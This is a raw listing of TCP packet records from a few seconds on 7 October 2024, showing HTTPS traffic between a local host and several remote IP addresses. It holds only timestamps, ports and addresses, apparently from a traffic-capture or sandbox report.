Oct 7, 2024 13:17:06.209023952 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.212342978 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.212421894 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.212481976 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.212551117 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.212770939 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.212836027 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.225115061 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.225179911 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.225281954 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.225337982 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.225413084 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.225477934 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.225838900 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.225903988 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.225987911 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.226234913 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:06.226248026 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.226769924 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.226795912 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.226861000 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.227054119 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.227111101 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.227175951 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:06.227271080 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.227276087 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.227329016 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.227348089 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.227437973 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:06.227494955 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.227551937 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.227639914 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.227695942 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.227890015 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.227951050 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.243494987 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.243693113 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.243757010 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.245206118 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.245281935 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.245560884 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.245651007 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.245683908 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.271399975 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.285676003 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.285690069 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.289031029 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.289104939 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.289203882 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.289266109 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.289386988 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.289434910 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.289474964 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.289582014 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.289654016 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.289784908 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.289851904 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.289938927 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.290004969 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.290105104 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.290163040 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.290216923 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.290277958 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.290388107 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.290452957 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.290694952 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.290752888 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.290817022 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.290873051 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.293457031 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.293565989 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.293596983 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.293611050 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.293668985 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.293872118 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.293931007 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.294001102 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.294061899 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.294192076 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.294250965 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.294512987 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.294583082 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.294701099 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.294759989 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.295166969 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.295236111 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.295419931 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.295490980 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.295622110 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.295692921 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.295841932 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.295902967 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.295964003 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.296020985 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.313256979 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313436985 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313457966 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.313525915 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313570976 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313575029 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.313661098 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313659906 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.313687086 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313714027 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.313838005 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.313899040 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.313920021 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.317970037 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.318131924 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.318181038 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.318209887 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.318232059 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.318250895 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.318281889 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.318414927 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.318443060 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.318500042 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.319762945 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.319833994 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.333345890 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.356317043 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.370403051 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370459080 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370503902 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.370513916 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370532036 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370577097 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.370592117 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370636940 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370686054 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370702982 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.370711088 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.370773077 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.371190071 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.371365070 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.371412039 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.371419907 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.375206947 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.375257015 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.375264883 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.380573034 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.380739927 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.380776882 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.380846977 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.380882025 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.380893946 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.380893946 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.380917072 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.380947113 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.380966902 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.381001949 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.381078005 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.381270885 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.381340027 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.381400108 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.381468058 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.381791115 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.381880045 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.381921053 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.381984949 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.382093906 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.382117033 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.382150888 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.382194042 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.382230043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.382287025 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.382376909 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.382436991 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.382711887 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.382735968 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.382777929 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.382807970 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383002043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.383018970 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.383059978 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383099079 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383311033 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.383371115 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383594036 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.383671045 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383692980 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.383753061 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383802891 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.383872986 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.383977890 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.384051085 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.384128094 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.384186029 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.399439096 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.399513960 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.399594069 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.399666071 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.399813890 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.399878025 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.399924040 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.399990082 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.400063038 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.400121927 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.410387039 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.410461903 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.410532951 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.410586119 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.410720110 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.410782099 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.410850048 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.410907030 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.412528038 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.412605047 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.426445007 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.427844048 CEST	443	49830	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.428169012 CEST	49830	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.428189039 CEST	443	49830	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.428416967 CEST	443	49829	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.428554058 CEST	49829	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.428563118 CEST	443	49829	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.429322958 CEST	443	49830	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.430068970 CEST	443	49829	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.430129051 CEST	49829	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.430409908 CEST	49830	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.430607080 CEST	443	49830	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.430670977 CEST	49829	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.430742979 CEST	443	49829	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.430939913 CEST	49830	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.431009054 CEST	49829	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.431015968 CEST	443	49829	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.447777987 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.447901011 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.447958946 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:06.448590040 CEST	49827	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:06.448602915 CEST	443	49827	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:06.452996016 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.453037024 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.453110933 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.453289986 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.453308105 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457112074 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457201958 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457243919 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457287073 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457299948 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.457313061 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457328081 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.457406044 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.457456112 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.457771063 CEST	49828	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.457786083 CEST	443	49828	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.467506886 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.467670918 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.467701912 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.467770100 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.467809916 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.467812061 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.467845917 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.467865944 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.467890978 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.467948914 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.468096972 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.468120098 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.468189001 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.468226910 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.468231916 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.468282938 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.468298912 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469227076 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469309092 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.469321966 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469382048 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469444036 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.469455004 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469530106 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469599009 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.469611883 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469655991 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469719887 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.469732046 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469759941 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.469820023 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.469830990 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.471461058 CEST	443	49830	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:06.472465992 CEST	49829	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:06.474373102 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.474455118 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.474541903 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.474606991 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.474881887 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.474942923 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475034952 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475096941 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475162983 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475219965 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475267887 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475342989 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475471020 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475542068 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475611925 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475672960 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475728989 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475805998 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475846052 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.475903988 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.475960970 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.476020098 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.476063013 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.476120949 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.486223936 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.486337900 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.486407995 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.486407995 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.486474991 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.486507893 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.486571074 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.486588001 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.486638069 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.486872911 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.486941099 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.487040043 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.487108946 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.487133026 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.487200975 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.503318071 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.503401041 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.503509045 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.503568888 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.503664017 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.503716946 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.503767014 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.503823996 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.505244017 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.505314112 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.554158926 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.554203987 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.554346085 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.554347038 CEST	49822	443	192.168.2.4	192.185.125.111
